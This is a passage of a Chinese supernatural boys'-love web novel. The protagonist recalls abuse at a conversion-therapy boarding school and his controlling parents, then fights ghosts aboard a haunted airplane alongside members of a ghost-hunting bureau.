“在这种地方长大的人三观都是坏的,这种环境不可能长出什么好三观的人。”刘广白说,“我小的时候三观就没有怎么好,甚至都不觉得家里优待我有什么问题。”他觉得有点好笑,“你知道我当时为什么那么简单轻易的跟我爸妈说我喜欢男的吗么?” 姚粱:“为什么?” “因为他们一直告诉我男生就是金贵的,男生就是怎么样怎么样的,所有我那个时候觉得我是男生,喜欢金贵的男生同样没有任何问题。” 姚粱很勉强笑了下。 “我都不知道现在是好是坏。”刘广白说,“我五姐小时候特别心疼我妈,那件事以后她就变了,然后出去跟别人玩,用手机接触网络,还有什么精神小伙精神小妹,她是没嫁人也没生孩子,还知道什么娣什么耀祖的,但却成了精神小妹。” 姚粱不知道该怎么安慰,因为这个世界上没有什么所谓的感同身受,他虽然也经历过类似的事情但也是在自己的世界,甚至都不知道该不该跟刘广白说,能不能说。 甚至也不知道如果说出来跟原主的人设和过去产生什么不可相容的bug又该怎么解释,但看着他这副样子开始开口了。 或许是因为心疼,又或许是感同身受,姚粱还是选择了自揭伤疤。 “我之前也受过类似的教育。” 第66章 第六十六章 教育 在进入这个书院之前姚粱很难以想象这个世界上居然有这种地方, 全封闭式,所谓军事化管理,让人怀疑是涮锅水的饭, 还有每天的教育课都让人痛不欲生。 身边有很多一样的人,大多都是姚粱这个年纪十四岁,本来该在外面上初中的年纪就被送来了这个鬼地方, 而送他们来的大部分都是为孩子‘好’的家长。 他在这里没有名字,只有一个218的编号。 禁闭, 电椅,让人作呕的电影几乎构成了特殊教育的全部内容, 身为刺头中的刺头姚粱都不知道自己被打了多少次, 关了多少次禁闭。 里面无法估算时间, 只有一个没有被褥的床板, 角落放着一个铁桶以供大小号, 夏天躺在那里不冷, 但很臭,冬天没有那么臭, 但几次姚粱都在怀疑自己要被冻死。 他总是躺在床上看那个小窗户,就算有个小窗户里面的人也是不肯让关禁闭的学员看的, 不知道是不是为了给学员营造一个坐牢的氛围,本来就在阴面的小窗户还被用好几条木板钉上只留下几条缝隙可以透出一点光来分辨现在是白天还是黑夜, 被关在这里到底几天。 他总是被按在椅子上用铁链控制住双手,面前摆着下面有滑轮的小幕布, 上面不断播放各种电影来刺激感官,只要有任何反应都会接通电流,218号也从最开始的被电全身僵直无法动弹到后来几乎习惯,但习惯随之而来的就是加大的电流。 他不傻, 为了自己少吃点苦头只好假装被电到难以呼吸。 出去之后他发现自己原来还好一点,至少只是被电被打而没有被q,但隔壁的女生就没有那么好运了,在这个书院被查封后其中不少人甚至怀着孕。 他反抗,打过教习,换来的是几个人的暴打,最严重一次他用铁链几乎要把教习勒死,换来一顿打在那里挂着水打着石膏甚至想跳出去死了算了,但书院实在是有远见,早在外面设置了重重保护来确保学员的安全。 他几乎在里面待了将近九个月,还没等如何书院就被查封了,重见天日没有任何喜悦,长达九个月他的父母从来没有来看过他,他只觉得如果书院没有被查封或许他死在那里父母都不会来看,只会假惺惺掉几滴眼泪说怎么会这样,早知道这个书院是这样他们肯定不会把儿子送进来了。 姚粱学聪明了,他知道自己现在什么都没有,要是爸妈真要把他送去别的地方他根本没有任何反抗的力量,他假装自己好了,家里又奇异的其乐融融起来。 他明确的知道自己还喜欢男生,用电击手段想让身体产生本能反应并没有用,他依旧对男生有反应,只是对那种事情厌恶起来,他突然有点想笑,电来电去把他搞成了一个柏拉图? 他埋头学习,只希望在未来考一个好大学,离家里越远越好,只要哪天再一毕业他绝不会回来这个地方。 报的大学几乎是家里一个南一个北,但收到的录取通知书确实家门口的大学,跟家里只隔着一条街不到十分钟的路程,他从没告诉家里人密码就是怕这种改志愿的情况出现,但怎么也没想到原来在自己的房间一直有一个摄像头。 行,他别的不会干,只是会认命,姚粱已经不想体会在家里再读一次高三被监视一切动作的窒息,家门口就家门口吧,想不回来总有千万种理由。 …… 专业是家里报的,学校也是家里报的,他不喜欢,不厌恶,他没有任何爱好,只想着快点读完逃走。 住在宿舍前所未有的自由起来,不会有人推门进来,不会有摄像头盯着他,不会有人不断的循环往复的发问只为了测试他的服从度。 中午的校门到处都是外卖,各个平台的外卖小哥不断的在门口放下外卖然后拍照离开,还有各种摆摊的商贩吆喝,那个站在门口的女人并不显眼,出去的同学第一眼以为是发传单的阿姨,但仔细一看手里抱着的保温桶又不是那么回事,不由得多看了几眼,就是这么几眼让她逮住了目标,连忙上去问,“诶同学问一下,就是你认识大一XX系一班的姚粱吗?” 那男同学有些疑惑,摆摆手,“姨我是大三的,找你儿子吗,发消息不回可能是在睡觉吧。” “是。”女人笑了笑,“我怕他吃不惯食堂,来给他送饭。” 同学那点疑惑没有打消,但又多了点羡慕,“天啊,那阿姨你可太辛苦了。”他说完就跟同伴走了,边走边聊天,“我去,食堂是真难吃,我也想吃我妈的饭了,家远的痛你们本地的实在是理解不了。” “没准是巨婴呢。”跟他一起走的男生笑了,声音压低说,“我好几次见那个阿姨了,都是中午没啥规律,估计每天都来,没准巨婴儿子非得吃家里饭,你没看到新闻有的小孩连鸡蛋皮都不会扒。” 那同学也笑了,“照你这么说没准还是母爱泛滥或者控制欲爆棚非得儿子吃家里饭呢。” 两人没当回事说说笑笑走了。 晚上姚粱待在宿舍吃饭,坐在对面电脑椅上的舍友一蹬桌子滑到姚粱这边把图片放大给他看,“哎——姚粱,我怎么看有点像你妈啊?不过就开学那天我见了次也没太认住,说不准认错了,你自己看看,被发表白墙了。” 舍友虽然这么说但确定就是姚粱他妈,开学那天谁都跟谁不认识的情况下姚粱的妈妈跟几个舍友把微信全加了一遍,总是发消息问姚粱的情况。 几个舍友最开始都回,但自从在宿舍里说了一嘴姚粱脸色很差的说直接删掉就行其余几个舍友就不回免打扰了,他还偶尔回几下,自从其余几个舍友不回姚粱的妈妈火力全集中在他这里,他的印象特别深刻。 那个图片被转发到姚粱的泡泡里。 【墙,投稿,不知道是谁的妈妈,夏天中午真的特别热,我好几次碰到她抱着饭盒在校门外等,不知道是这位母亲的孩子不回不理会好意还是自己家里有什么矛盾,但都请交流好,看着挺可怜的。】 姚粱一句话都说不出来了,立马联系这个表白墙删掉该条,顿时特别无力。 他不愿意理,不知道是为了感动自己还是彰显自己的辛苦,总是做一些很没有必要的事情,不仅骚扰舍友还骚扰班主任导员,甚至因为这个班主任都叫他去隐晦的提了几次。 有的时候甚至不知道在什么地方蹲着,他出去一趟校门就突然冒出来拉着他说东说西,一副要联系感情母子情生怕他以后跑了的样子。 至于他爸更是美美隐身让他妈一直在前面冲锋陷阵。 如果不是后来这件事他或许会一直含糊下去。 亲子问题一直都是难以解决的难题,他也没办法解决,他们的控制欲已经强到了病态的地步,无论说什么都是说不清的。 在他读到大二下册的时候两个人不知道从哪里听到他现在就读的专业未来前景极其不好,立马在微信上轰炸他,好像已经忘记了这个专业是他们选出来的,姚粱已经习惯了这种轰炸,调到免打扰不再理会。 强制性要求全班参加的活动还有其余三个班全在一个大会堂里,活动进行到一半如火如荼,前门却突然跑进来一个女人和一个气势汹汹的男人,跑上台抢了话筒开始当着整个会堂开始寻人启事,身边已经有认识他的人开始投来疑惑的目光。 姚粱闭着眼只求自己现在就去死就好,如果不是亲身经历他实在难以相信这种荒谬又好笑的事情会发生在自己身上。 他的爸妈像是脑子不好一样在台上滔滔不绝丝毫不顾及后果,姚粱无数次怀疑他们的脑子是不是早就泡了水坏掉。 他们的行为也堪称没有任何逻辑,就是编故事也要检查逻辑对不对,可现实往往就是会发生一些毫无逻辑的事情。 姚粱从来没有像现在这样迫切的希望自己就没出生过,至少不用面对现在这个局面,想必多年后他也会是这个学校的谈资,也是用另一种奇葩的方式将名字留在学校了。 后面的事情几乎是顺理成章的,他退学了,也没有去复读去考一个前景好的专业,对父母的可以去外省充耳不闻,一家人就这么陷入了某种互相折磨的境遇。 在被单方面折磨前姚粱一直想发疯,自从开始反过来折磨他们以后整个人都好了不少,也就是在这个时候才发现原来他们也受不了折磨,开始一退再退。 但耗尽所有心力的人对什么都打不起精神来,对方的退缩中依旧无数次试探姚粱的忍耐度,一家人在那一栋像是棺材一样的房子里互相缠绕互相消耗,只等着哪天谁先被缠死才得以解脱。 姚粱没想到第一个死的是他,在离开那个世界的最后一瞬间,他的想法竟然极其可悲——死亡对他而言不是一种解脱而是一种极端的报复。 沉重的枷锁被强硬套在他脖子上二十四年,他试图用死亡将枷锁套在父母脖子上。 真的套上了吗? 没有。 第67章 第六十七章 见鬼 或许是因为今天一整天都太过沉重, 来的路上坐摩托又吹了很久风,晚上姚粱莫名其妙又发起烧。 他很少会感冒发烧,这种小毛病几乎不会在他身上出现。 他只是头疼, 呼出的气很热,脑子也闷闷的,只要躺着就喘不上来气只好坐着, 时间还早,他却一点都睡不着了。 他没拿药, 也不好跟刘广白的爸妈去找药,感觉并没有很烫想着发烧白天就会好一点干脆不吭声忍着了。 【宿主。】 996又出来了。 “你能不能调个制冷, 在我脑门上给我凉快凉快。” 【没用宿主。】996说, 【白天就退烧了。】 “哦——”姚粱也这么觉得, 脑子烧的转不动懒得跟996找什么话题, 996反倒伸出两条线条一样细腿像个人一样翘着二郎腿坐在那。 【宿主你今天去那撞邪了, 不发烧才怪。】 它想起了宿主上次安顿的如果有鬼就不要告诉他了, 又瞟了眼站在家里地下那几只跟回来的鬼还有几个婴灵果断闭嘴。 跟回来那几只鬼看起来都是生前被打死的,模样分外凄惨, 但好在不会故意吓人,也不会搞什么突脸, 恐怖程度也就大大降低了,它苦口婆心的劝宿主睡觉, 姚粱冷不丁开口,“我身边是不是有鬼?” 【额……没有?】 “没有你劝我睡觉?”姚粱看它, 被烧的眼里红血丝都出来了。 【你要是再不睡觉一会儿就又见鬼了。】996说,【快到阴气最浓的时候了。】 “我这什么破命啊。”姚粱靠着墙汲取那一点凉意,捂热了就再换个地方待着。 【不是破命。】996想了想干巴巴的宽慰,【虽然是吸引鬼了点、吸引邪修了点、容易被吃了点, 容易撞鬼了点,容易被杀了点,可你也是有好处的啊,譬如你要是加入那个部门,只要你跟着逮鬼一逮一个准。】 “……把我当肉包子扔出去逮狗是吗。”姚粱无力了,“把我当诱食剂的用啊。” 996:【呃……】 黄色灯泡上的眼睛咕噜噜到处转,就是说不出一点所以然来,看了脑袋上在冒烟的宿主最后也只好宽慰,【宿主你安心,我估计那个电的金手指马上就该下来了,你要是不想加入等以后撞鬼也可以揍鬼啊。】 姚粱仰着脑袋靠在墙上,眼睛都发热,他阖着双眼不看996也不看别的地方,突然就听见刘广白小声的叫他的,“老公,老公你脑袋在冒烟。” 姚粱:“?” 本来就在冒烟的脑袋被一声老公叫的冒烟冒的更厉害了,姚粱睁开眼睛垂着眼看了刘广白几秒。 村里晚上天很亮,至少要比城市里亮很多,月亮照进家里可以清楚的看见他的脸,他的眼白白的透亮,一点都不近视眼睛很有神,躺在那里抱着被子看他。 姚粱莫名其妙觉得刘广白应该很凉,甚至都冒着冷气,很想抱着他去降降温,这么想也就这么做了,稍微调整了下姿势准备躺下,躺之前抬眼看了下,屋子正中央紧紧的站着三个脸色惨败的鬼。 说是站也不准确,他们没有脚,就飘在那里,穿的衣服很有年代感,脸色惨败上面的青紫就更加明显和骇人,还有一个胳膊呈现一个诡异的角度,肿的不像样子,有种瘦子按了条全是肌肉胳膊的不协调和滑稽。 这些并不是最吓人的地方,三个人无一例外,都没有眼睛,脸上挂着血窟窿静静的站着。 姚粱深吸一口气躺下了,伸手把刘广白按在怀里又捂住他的眼睛,“见鬼了。” 不知道是不是错觉,在抱到刘广白的那一瞬间他立马凉快起来,说是抱了一块冰也不准确,更像是具失去温度的尸体。 这种感觉与凉是绝对不一样的,姚粱的奶奶去世后那时候他还小,当时正是冬天,奶奶被换了寿衣就放在家里,大人们都在忙着通知亲戚,联系纸货店,没人顾得上孩子,他就自己去那个房间坐在奶奶旁边。 奶奶表情极度平静,并不吓人,本来以为以前生病脸色已经足够蜡黄,现在则是蒙上了一层死气的黄色,鬼使神差的,尚且还小的姚粱伸手摸了摸老人的脸。 那点凉意在多年过后他依旧记忆犹新,在今后的日子里他从来没有碰过能跟那种凉一样凉到心里骨子里的事物。 可现在那种熟悉的感觉又重新回到了他的怀抱。 这种死气沉沉的凉是他绝不愿意碰到的,于是他轻声的询问,“刘广白?你怎么不说话。” 刘广白有点费劲的从他的怀抱里把胳膊伸出来抱住,“什么鬼。”他的声音似乎有点抖,“你抱紧一点我。” 姚粱按着他的脑袋没吭声,又抬头看了一眼地上那三个没眼睛鬼。 其实这样直面看到不动也不怎么并不多么害怕,反倒不如那天的鬼打墙,怕的不是鬼出来,而是鬼不知道什么时候出来。 那几次在A市刘广白看起来都不怎么怕,姚粱甚至都开始淡忘刚到这个世界不停的说自己怕鬼甚至要守在浴室门口的人。 他也不是傻子,但并不十分确定刘广白是故意说怕鬼跟他示弱还是怎么。 但如果是示弱,现在的他很吃刘广白这一套。 身体的温度在长久的拥抱里慢慢降下来,怀里抱着的刘广白也逐渐热了起来,刚才那种抱着尸体的感觉完全消失了。 怀里的身体软软的很依赖的攀着姚粱的脖子,整张脸全在他怀里,黑夜异常安静,每一声很浅的呼吸全落在姚粱的耳朵里,他就这么抱着刘广白躺了好一会,消失了一阵子的996又冒头了,【宿主,出来出来,去外面跟着我走。】 …… 那三个游魂几乎没有自己的意识,只知道跟着姚粱走,一直在他后面保持一个不远不近的距离跟着,那个从总局申请到的金手指蔓延出的电流不停的在身上各处劈里啪啦的响。 996在前面带路顺便诚恳提出建议,【宿主,直接把后面那三个轰了吧。】 “轰了?” 【对呀,这种游魂没有自我意识,只会乱飘,甚至连鬼都不算,只会让人生病,轰就轰了。】 996不知要带着他往哪去,姚粱不太在意到底去哪,反正身上的电不消失他就没法回去,干脆就当散步,路边很多草,里面有蚊子,他避着那些地方走,“你认识路么?” 【肯定走不丢。】 那个黄色的灯泡现在是最显眼的东西,周围甚至还有些被光亮吸引来的蚊虫围着996飞,也有往上撞撞的头晕眼花的。 他一边跟着996一边看周围的路,晚上显眼的地方就是水洼和一些白色的东西,这些东西反射月亮的光更显眼一点。 他远远看了眼又看见了今天见过的那个供奉祖宗的地方,996应该是带他绕路专门绕开了那个地方,姚粱也没兴趣去那种死了不少人的地界。 身上的电走了这么长时间一点减少的迹象都没有,甚至随着姚粱走路摩擦劈里啪啦的声音更大了,他直接找了个挺秃没草的地方蹲下了,地上到处都是树枝,姚粱顺手捡起一根偶尔赶赶蚊子,大部分时候就在地上划拉,划拉着就开始刨坑,刨了几下就挖出一颗有些褪色,但不难辨认之前是红色的小珠子。 他继续刨了刨又刨出了一点特别细马上就要被分解在土里的绳子,另一颗红色珠子就串在那里,绳子有个断口,不清楚到底是埋在土里风吹雨打被风化断还是被暴力扯断,他觉得这个珠子很像现在网上时兴的中间有个小金锁两边是珠子的手串,但又觉得金子在这种地方不可能埋在土里,于是又刨了刨露出一点白色。 姚粱:“???” 他表情有点凝滞,很不确定又用树枝划拉划拉,立马在嘴里连声道歉说冒犯用树枝把所有土和珠子全给埋回里面。 他挖出了人的一截手骨。 姚粱再次抬头确定周围确实没什么坟包也没有墓碑,实在想不明白到底什么人就埋这里,难道是那些被打死在那的人就随意拉来这里埋了? 要是真这样那附近绝对不止一具尸骨,姚粱在不知不觉中直接站在了不知道埋了多少人的坑上。 算是直接站人房顶上了。 姚粱:“……” 姚粱双手合十连声说冒犯赶紧退出这片区域,什么身上的电也不管了,鬼知道在那被打死的人到底有多少怨气,白天去那里,晚上来人家屋顶上做客。 他没话说,实在不知道自己什么运气,把树枝一扔就是往回走。 被刨开小坑的地方踩实的泥土被无意间翻松,埋葬在这里数年的东西终于再次重见天日,刘广白没什么表情看着他走远的身影,自己返回那个地方再次把土挖开取走了埋在里面的有两个红色珠子的手串。 再不愿踏足的地方埋葬的身前的器物,被贪财人暴力拽走的小金锁早就不知所踪,只留下两个褪色的珠子和一根腐朽的绳子是他的。 真是见鬼。 第68章 第六十八章 加入 姚粱和刘广白没有在这个村子待多久, 又坐摩托到镇上再坐火车到市里,再去另一座有机场的城市,两个人都不想多呆, 选择了红眼航班。 这趟航班并没有坐满,零零散散分布着,两人上飞机的时候靠窗的乘客早就上来, 脸上盖着个大鸭舌帽似乎睡熟了。 刘广白看了下轻声开口,“我一会儿也要睡觉。” “那你坐里面?我靠外面坐。”姚粱坐下刚把安全带弄好刘广白就靠过来抱着他的胳膊睡觉, 他调整了下姿势让他枕的更舒服一点,飞机上还在陆陆续续的上人稍微有一点吵, 这些动静似乎把姚粱前座的人给吵醒了, 立马伸长手臂伸了个懒腰, 发出一道特别夸张的声音。 姚粱隐隐约约觉得这声音有点耳熟, 但音调过于夸张他也没法很好的辨认, 一副张牙舞爪的样子看起来极其没有素质, 他皱着眉看了眼很隐晦的翻了个白眼。 大概过了二十分钟起飞,飞机只飞行了不到十分钟姚粱感觉自己的耳朵被拽了拽。 “嗯?” 刘广白伸手轻轻拽了拽他的耳朵, 黏黏糊糊用额头顶了顶他,捂着嘴巴小声说, “我好晕。” 这么点时间就开始晕下面只会更不好受,姚粱摸了下他一直枕在自己肩膀上稍微有点汗湿的额头, “要不要清洁袋?我跟空姐要一个。” “不要。”刘广白一口拒绝,再次用头顶姚粱, “不要清洁袋。” “那叫空姐过来调整一下通风?” “也不要。”刘广白继续拒绝,然后轻轻嘟了下嘴,“我没有晕啊,就算晕怎么会这么快, 就是要你亲我一下。” 姚粱垂眸看了眼,他的嘴唇上了点唇釉和润唇膏,粉粉的很薄,姚粱知道亲起来的滋味有多好,盯了几秒喉结滚了滚,“飞机上呢,回去。” “都睡着呢,这个点。”刘广白抬起手挡在自己嘴巴旁边,“我挡着,看不见的,就一下,亲完我就睡觉。” 姚粱听这话也不犹豫了,快速低头在他唇上啄了两下,又得到刘广白嘟起嘴的么么,亲完他真的老老实实去睡觉了。 现在整个机舱里都安静的很,前面人打呼噜的声音就格外明显了,姚粱又皱起眉,这声音放在平常其实不算多么大,但在安静的机舱里大家都睡觉的情况下就太明显了,他还没来得及说什么跟他们一排靠窗的乘客就特别暴躁的摔了帽子叫空姐要投诉。 “还让不让人睡觉了?!”那个鸭舌帽表情特别难看,“自己打呼不会解决吗?” “不好意思,您看我去提醒一下好吗,非常抱歉影响到您的出行体验了。” 鸭舌帽很暴躁的再次盖住脸,空姐走到前面轻轻拍了拍那位乘客,呼噜声戛然而止,“不好意思请问您需要水吗?” 那位乘客音调里全是困意,“嗯?不要啊,我没说要水。” “嗯嗯。”空姐再次微笑,“如果您要水的话可以跟我说哦。” “别过来了。”姚粱前座那位乘客听起来特别烦,“你们提醒这话术我早在网上刷见了,打呼是不是?我要能控制住我还打呼吗?别过来了。” 姚粱:“……” 姚粱看了眼靠窗的乘客依旧盖着鸭舌帽,但睡没睡着就不知道了。 空姐脸色隐隐约约有点不太好还是挂着公式化的微笑搪塞几句再次离开砚删停。 接下来的半个小时就开始鸭舌帽跟空姐投诉,空姐去跟前座沟通,沟通的时候鸭舌帽装死,前座再跟空姐发飙。 如果眼前不是一个普通的机组人员姚粱真怀疑这两人一唱一和在这儿遛空姐。 他没再去注意这两个人了,肩上的刘广白早就皱着眉表露出不舒服,几次轻声问话也闭着嘴不回应,过了一会儿眉头稍微舒展开一点,“刚才不能说话,不然要吐了。” “我找空姐要个清洁袋吧。” 这次刘广白没有拒绝,空姐很快听到诉求并询问是否需要药物这才折返回去拿袋子,清洁袋拿到手里空姐再次微笑,“请问还有什么需求吗,是否需要温水?” 姚粱指了下头顶,“麻烦调一下通风。” 空姐微微点头伸手去调,姚粱随即垂着眼睛不去看,目光却落在了空姐的脚上。 姚粱:“?” 姚粱仔细看了半天确定就是没有看错,也并非是以为的因为丝袜产生的错觉,而是这个空姐真的没有脚。 姚粱脸又青了。 他正兀自陷入沉默和怀疑人生,同时也并不觉得自己的电在飞机上能用,不然坠毁一死一飞机,正打算继续装傻,前座那个打呼咳嗽特别没素质的乘客突然从两个座椅之间的缝隙扭过来朝他眨眼。 ……廖寂青? 他正呆着,那个没有脚的空姐就挪开跟姚粱笑了下离开,靠窗的那个鸭舌帽摘下帽子面无表情看了眼廖寂青,又看了眼坐在那里的姚粱。 他说哪里熟悉,那天从四楼扔下去签保密协议的时候这个鸭舌帽也在,只是粗略看了眼并没有记住长相,有一个很浅的印象不足以他一眼认出来。 光这里就坐着局里两个人在他不知道的地方只会更多,姚粱稍微偏头去看自己能看到的,十个人里差不多只有两个有脚,剩下的都是一片虚影。 ……说不准那两个有脚的都是同事。 这飞机上不会就他跟刘广白两个普通乘客吧? 刘广白手里拿着清洁袋突然凑上来当着廖寂青的面亲了姚粱一口,“他为什么跟你抛媚眼?” 有没有可能是因为廖寂青比较骚包。 “他骚。”姚粱言简意赅的回答。 被直接扣上骚的帽子的廖寂青一下说不出话了,也没有继续坐回去伪装他没有素质的乘客人设的意思,就那么坐在那里往后看,姚粱跟着他的眼神也往窗外看,刚才还特别晴的天突然看不见任何东西,飞机周围居然开始电闪雷鸣起来。 外面的闪电很像是某些精美的游戏画面,看起来极其震撼又不真实,但放在现实尤其是飞机附近一点让人欣赏的念头都没有。 姚粱都怀疑是不是要被雷给直接劈死,飞机上这群人就算能从四楼跳下去毫发无伤也不可能从万米高空无伤降落,而他跟刘广白那应该就是第一个死的。 一张纸被悄悄的从前面递过来,上面的字体特别飘逸潇洒,很明显是短时间里写完的,他跟刘广白两个人脑袋挨着脑袋一起看。 【两个月前云途航空的749航班在飞往M国的途中偏离航线误入雷区,大概在太平洋东经11X的地方彻底失去信号,估计在不久后或许就在那个地点坠毁,坠毁后一个月前各大航空开始出现乘客正常乘坐却在起飞后变成749的情况,被这架飞机带往太平洋坠毁,我们盯了很久,疑似飞机的票在第二起事故发生后就不对外界出售,你们怎么上来的?】 姚粱也不知道为什么自己正常买票为什么会上了这架本来不对外出售的飞机,但已经上来了不管怎么样都于事无补,与其想没用的还不如想想怎么解决这架飞机。 “能用电么?” 廖寂青当然知道他说的什么,闻言点点头,“可以,鬼飞机不怕这个,就是一飞机人都起来跑酷都不会颠簸,它只会沿着之前的方向一路到坠毁点再掉下去。” “随便用。”姚粱一直没注意到的后座一道冷静的女声插话,“这上面除了同事都是鬼,随便用,他们被电了是没本事。” 一直在旁边似乎对什么都不清楚的刘广白并没有多问,看来看去抱着自己的清洁袋靠在椅背上不吭声。 姚粱看了他一眼,从上面看刘广白显得更小了点,“咱们不会跟着飞机死吧。” “有可能,所以你们真倒霉。”女人打开安全带站起来看刘广白,“吓傻了?成年了吗这小孩,十七八?” 她刚打开安全带空姐就突然出现了,面带微笑劝阻,“女士,飞机正在经过雷区,请不要随意在飞机内走动。” “上厕所。”女人站在那里丝毫不让,“要憋死了。” 空姐还是特别耐心的笑,“还请您忍耐一下坐回原位好吗。” 两人正在那里交涉,飞机却突然猛的颠簸起来,空姐和那个局里的成员不约而同晃了下身体,空姐还是被搀扶了一下才免于摔倒,机舱里顿时因为这种波折混乱一片,局里成员还有姚粱和刘广白一众人脸上并不惊慌的神色和机上其余乘客的惊慌形成了特别荒谬的对比。 广播立马开始播报,“请各位乘客系好安全带,请勿在机舱内随意走动,飞机正在经过雷区,颠簸异常属于正常情况,各位乘客请勿惊慌。” 机舱里氛围稍微安定一点,但仍旧是掩盖不住的焦灼。 姚粱扫了一圈,这些人或许并不知道在二十分钟或者半个小时后这架飞机就会坠毁,死后还要跟着这架飞机不断的重复来一次死前的场景。 一切都看似极其有条不紊,不知道在坠机前所有的机组人员到底进行了怎样的努力最后依旧无果。 飞机一直在颠簸,乘客的恐慌情绪已经不是广播里三言两语能安抚住的,空姐来回有些慌乱和急匆匆的脚步逃不脱大家的眼睛,这个样子无疑给大家传递了眼前的状况并不好的信息。 大家都在吵吵,一个小女孩的哭声在里面特别突出,就在姚粱耳朵边哭,他一回头就看见后面坐着一个四五岁的小女孩和一个中年女人。 女人尽力的在哄小女孩,小女孩还是哭着说想要见妈妈,女人注意到姚粱的视线以为他是不满,很尴尬的解释了句,“不好意思啊,家里父母离婚爸爸争了抚养权又不愿意养了,我带她去M国找妈妈,小孩太害怕了,实在是不好意思。” 姚粱顿时什么话都说不出来了,回过头还是没忍住再扭头看了几眼那个哭的满脸通红的女孩。 周围的人已经解开安全带准备往前面靠了,姚粱也解开安全带准备走,“你就在这里坐着别动。” 他没走动,被刘广白用力拉住胳膊,“你又不是跟他们一起的,凑什么热闹?” 姚粱现在确实还不能很好的使用电,“那也总比什么都不做在这儿等死强,你就在这儿别动。” 他挣扎了下刘广白却死活不肯撒手,“你别管这事,就算这飞机真在太平洋坠毁了咱俩也死不了。” “我又不是不会管你。” 第69章 第六十九章 即将坠毁 刘广白似乎很怕他跟着这一群人出什么事, 姚粱劝说几句就是不肯放手,最后被强硬带点命令口吻的强制才放开。 飞机上局里的人不多,不到十个, 四女四男,再加上一个姚粱,刚才坐在姚粱后面的女人皱着眉拦住他的脚步, “你凑什么热闹,回去坐着。” “我会控电。”姚粱简单的回应了一句, “况且我之前拿到了招揽信,这次回去也准备加入局里。” “那也是之后的事。”女人还是不愿意让他去, “你现在又不是局里的, 我们死了有补贴你死了白死。” 姚粱说什么都不肯回去干等, 女人不愿意再费口舌正准备采取暴力手段, 就见几个空姐一撩挡在那里的帘子, 现在脸上完全没了公式化的笑容和刚才面对雷区的慌乱。 “乘客, 不是说了坐在原地不要随意走动吗?” “坐在那等你们带着我们去死?”女人毫不客气的戳穿,对面的几个空姐跟众人对峙, 依旧还是那句话。 “请坐在原地不要随意走动。” 女人也不再废话直接一脚踹到站在最中间的空姐的胸口,她就像是没有重量一样被轻飘飘的踹飞, 砸在后面发出巨大的响声,而座椅上的乘客对这种动静充耳不闻好像根本没有看到, 自顾自的进行着空难当天死前的所有活动。 空姐被踹飞好像打响了某个信号,帘子无风自动露出了一直站在里面的几个空姐, 她们身上有一些尸斑,还有被水泡过的痕迹,更多的地方是被海洋生物啃食留下的痕迹,几乎看不出生前的样子。 几个成员都往身上按了个小小的东西, 廖寂青也伸手给姚粱按了一个,“在鬼化后改变自身磁场,没法隔出空间的时候大多只有改变磁场才能碰到鬼。” 对面几个空姐手里拿着生锈的东西,很难以分辨,但大概率是坠海后生锈的零件,单薄的身体爆发出了巨大的力气。 “为什么不好好坐着?” “为什么?” 狭小的空间不利于打斗也不利于躲避,这些鬼化的空姐不管挨多少下就算少了什么零件还是照打不误,但这群人挨空姐一下伤口处都在冒黑烟。 看着双方人都很多但真正能参与到打斗中的人并不多,现场堪称一片混乱,各种残肢在姚粱眼前飞。 ……这跟他想的一点都不一样。 帘子后面的空姐源源不断,好像一直有人在补充弹药,廖寂青一声不吭的拽着姚粱往帘子里冲,没有什么武器的姚粱下意识用了电,一个巨大的电团砸到人群里的时候好几个人一起滑稽的炸开,甚至在着火,他眼睁睁看着那些残肢断臂在某种莫名的力量下又拼成了一个人,不太好的地方就是拼的不一定是自己的胳膊自己的脑袋,但依旧杀不尽有自己的战斗力。 好不容易突破这个地方的两人朝着驾驶舱狂奔,身后新拼好的人神情狰狞呼啸着追两个人,又被姚粱不断的电残,再次组装,再次电残。 只是驾驶舱的门并不能从外面打开,里面两个已经鬼化把飞机朝着坠毁点开的机长当然不可能给他们从里面把门打开。 廖寂青用力的破门,姚粱在他不远处继续处理那些追来的空姐。 很明显绝大部分鬼都追着两人来了,外面人那里压力骤减也跟着追进来从外面开始打。 只是所有人都没想到空姐还没解决一直待在座位上恐慌的鬼乘客全都解开安全带也朝这里扑来了,大有用人把局里成员给淹没的感觉,一声声哀嚎极其瘆人。 “为什么要到处走啊?” “为什么要到处走啊,飞机在晃啊!” …… 一声声不停的诘问响起,没有自主意识的鬼乘客显然已经把这伙人当成了飞机这么晃空难的罪魁祸首,恨不得扑上来咬掉一块肉,杀完的空姐又重新组装从后面扑了过来,鬼乘客和鬼空姐一股股的往上涌,根本不管前面是不是踩着别人就往前爬,一群失去理智的鬼都在疯狂的嚎叫甚至互相撕咬。 或许是因为这是个金手指,姚粱明显感觉到在别人力竭有些用不出来的时候他的电还是可以源源不断的使用,只是他现在在想这群失去理智的鬼看似是直接朝着这里扑来了,那他们有没有对刘广白做什么? 他现在才发现把刘广白留在原地是个极其错误的决定,现在就是生死未知。 身后的门发出沉重的声音,开了一条小缝,众人本来就撑不住了,根本经不起这样杀不尽的消耗,堵在门口的廖寂青第一个进去让开位置,现在剿杀鬼的主力就是姚粱,他没法先走,于是朝旁边走了几步把位置让开。 大家显然也明白现在并不是什么谦让的时候,让开位置一个接一个人往里跑,姚粱边走边退,见所有人都进去只剩他的时候猛地扑上去拉上门。 只是这么一瞬间攻击的停止,所有鬼都抓住这个机会猛地扑上去,门关上里面众人的最后一眼就是看到几乎被鬼淹没的姚粱。 …… 身体散发出一点刺眼的光芒,姚粱身上出现了一个防护罩,所有鬼都被挡在其外不能靠近,有的对这个闻起来很香的人并不死心,趴在罩上几乎把整张脸都挤着去啃,试图找到什么破绽。 身边的东西与其说是鬼不如说更像是灾难片里的丧尸,所有都围着他实在太具视觉冲击力,甚至有些让人作呕。 996调出保护罩后就出现在机舱里,操起自己的柴火胳膊开始狂揍那堆鬼。 或许是时空力量的不一致,刚才被怎么杀都会重新拼好再次杀回来的鬼这次居然以肉眼可见的速度开始消失。 996在那里一边揍一边怕的直哭,但现在姚粱没有时间去关心它,最后也没进驾驶舱其实就是为了去确定刘广白的安危。 事实也证明996嘴里的宿主受到生命安全时的紧急保护机制还是很有用的,他在赌这个,也有破罐子破摔大不了重开的念头。 现在赌赢了这个又有人给他牵制着鬼当然毫不犹豫让996撤掉保护罩出去查看。 刚才怎么也闯不过来的路其实只有几十米短短的一段,甚至都没有几分钟他就看见了帘子,立马撩开看原先坐的位置,就跟那个仰着脖子看的人对上了眼。 姚粱:“……” 